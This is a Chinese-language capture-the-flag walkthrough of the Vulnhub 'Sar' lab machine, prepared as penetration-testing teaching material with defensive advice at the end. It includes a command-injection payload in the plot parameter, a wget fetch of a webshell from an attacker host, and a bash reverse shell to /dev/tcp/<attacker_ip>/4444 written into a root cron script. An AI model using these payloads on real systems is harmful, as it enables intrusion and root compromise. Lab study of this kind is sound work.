打靶日记——Sar
字数 1430 2025-08-29 22:41:38

打靶日记——Sar 渗透测试教学文档

1. 目标概述

本次渗透测试的目标是一个名为"Sar"的Vulnhub靶机,攻击链完整且标准,适合作为渗透测试学习案例。

2. 信息收集阶段

2.1 主机发现

  • 使用工具:nmap
  • 发现目标主机开放端口:仅80端口

2.2 端口扫描

  • 详细扫描命令:nmap -sV -p 80 <target_ip>
  • 结果:仅发现80端口开放,运行HTTP服务
  • 进一步漏洞扫描:nmap --script vuln <target_ip>
    • 发现两个可疑文件(未明确说明文件名)

3. 渗透阶段

3.1 Web应用枚举

  1. 访问80端口:显示默认网站搭建成功页面
  2. 目录爆破:
    • 使用工具:未明确说明(可能是dirb、gobuster等)
    • 结果:仅发现nmap扫描时找到的两个文件
  3. 检查robots.txt:
    • 发现一个字符串(可能是目录名)
    • 将该字符串作为目录访问,发现一个信息收集系统
    • 获取CMS版本信息

3.2 漏洞利用

  1. 搜索该CMS的已知漏洞:
    • 发现一个RCE(远程代码执行)漏洞
    • Exploit-DB中存在该漏洞的EXP
  2. 漏洞利用方式:
    • 漏洞位置:首页的plot参数
    • 利用方法:在plot参数后添加分号和要执行的命令
      • 示例:?plot=;ls
    • 点击"Select Host"按钮执行命令
  3. 使用现成Python脚本:
    • 在Kali中搜索并找到相关EXP
    • 分析脚本执行逻辑后直接使用

3.3 获取初始立足点

  1. 尝试反弹shell失败
  2. 替代方案:
    • 在攻击机启动Python HTTP服务器:python -m http.server 80
    • 在目标机下载webshell:wget http://<attacker_ip>/shell.php
    • 执行webshell获取系统访问权限

4. 权限提升

4.1 初始权限检查

  • 命令:sudo -l
  • 结果:当前用户无特权

4.2 SUID文件检查

  • 命令:find / -perm -4000 2>/dev/null
  • 发现多个SUID文件,但无常见可利用文件

4.3 自动化任务检查

  1. 检查crontab:
    • 命令:cat /etc/crontab
    • 发现一个以root权限执行的定时任务
    • 该任务执行网站根目录下的某个文件
  2. 分析定时任务:
    • 定时任务执行write.sh脚本
    • write.sh内容:在/tmp目录下创建gateway文件
  3. 利用方法:
    • 使用echo写入反弹shell命令到受控文件
    • 示例:echo "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" > /path/to/write.sh
  4. 等待定时任务执行,获取root权限shell

5. 总结与学习要点

5.1 攻击链总结

  1. 信息收集 → 2. Web目录枚举 → 3. 发现CMS漏洞 → 4. RCE利用 → 5. 获取初始shell → 6. 定时任务提权

5.2 关键学习点

  1. robots.txt文件的重要性
  2. 已知CMS漏洞的利用方法
  3. 当直接反弹shell失败时的替代方案
  4. 定时任务提权的标准方法
  5. 完整的渗透测试流程实践

5.3 适用场景

  • OSCP备考练习
  • 基础渗透测试技能训练
  • Web应用安全学习

6. 防御建议

  1. 及时更新CMS系统
  2. 限制robots.txt中的敏感信息暴露
  3. 对用户输入进行严格过滤
  4. 避免使用root权限执行定时任务
  5. 定期检查系统上的SUID文件
  6. 实施最小权限原则
打靶日记——Sar 渗透测试教学文档 1. 目标概述 本次渗透测试的目标是一个名为"Sar"的Vulnhub靶机,攻击链完整且标准,适合作为渗透测试学习案例。 2. 信息收集阶段 2.1 主机发现 使用工具:nmap 发现目标主机开放端口:仅80端口 2.2 端口扫描 详细扫描命令: nmap -sV -p 80 <target_ip> 结果:仅发现80端口开放,运行HTTP服务 进一步漏洞扫描: nmap --script vuln <target_ip> 发现两个可疑文件(未明确说明文件名) 3. 渗透阶段 3.1 Web应用枚举 访问80端口:显示默认网站搭建成功页面 目录爆破: 使用工具:未明确说明(可能是dirb、gobuster等) 结果:仅发现nmap扫描时找到的两个文件 检查robots.txt: 发现一个字符串(可能是目录名) 将该字符串作为目录访问,发现一个信息收集系统 获取CMS版本信息 3.2 漏洞利用 搜索该CMS的已知漏洞: 发现一个RCE(远程代码执行)漏洞 Exploit-DB中存在该漏洞的EXP 漏洞利用方式: 漏洞位置:首页的plot参数 利用方法:在plot参数后添加分号和要执行的命令 示例: ?plot=;ls 点击"Select Host"按钮执行命令 使用现成Python脚本: 在Kali中搜索并找到相关EXP 分析脚本执行逻辑后直接使用 3.3 获取初始立足点 尝试反弹shell失败 替代方案: 在攻击机启动Python HTTP服务器: python -m http.server 80 在目标机下载webshell: wget http://<attacker_ip>/shell.php 执行webshell获取系统访问权限 4. 权限提升 4.1 初始权限检查 命令: sudo -l 结果:当前用户无特权 4.2 SUID文件检查 命令: find / -perm -4000 2>/dev/null 发现多个SUID文件,但无常见可利用文件 4.3 自动化任务检查 检查crontab: 命令: cat /etc/crontab 发现一个以root权限执行的定时任务 该任务执行网站根目录下的某个文件 分析定时任务: 定时任务执行 write.sh 脚本 write.sh 内容:在/tmp目录下创建gateway文件 利用方法: 使用echo写入反弹shell命令到受控文件 示例: echo "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" > /path/to/write.sh 等待定时任务执行,获取root权限shell 5. 总结与学习要点 5.1 攻击链总结 信息收集 → 2. Web目录枚举 → 3. 发现CMS漏洞 → 4. RCE利用 → 5. 获取初始shell → 6. 定时任务提权 5.2 关键学习点 robots.txt文件的重要性 已知CMS漏洞的利用方法 当直接反弹shell失败时的替代方案 定时任务提权的标准方法 完整的渗透测试流程实践 5.3 适用场景 OSCP备考练习 基础渗透测试技能训练 Web应用安全学习 6. 防御建议 及时更新CMS系统 限制robots.txt中的敏感信息暴露 对用户输入进行严格过滤 避免使用root权限执行定时任务 定期检查系统上的SUID文件 实施最小权限原则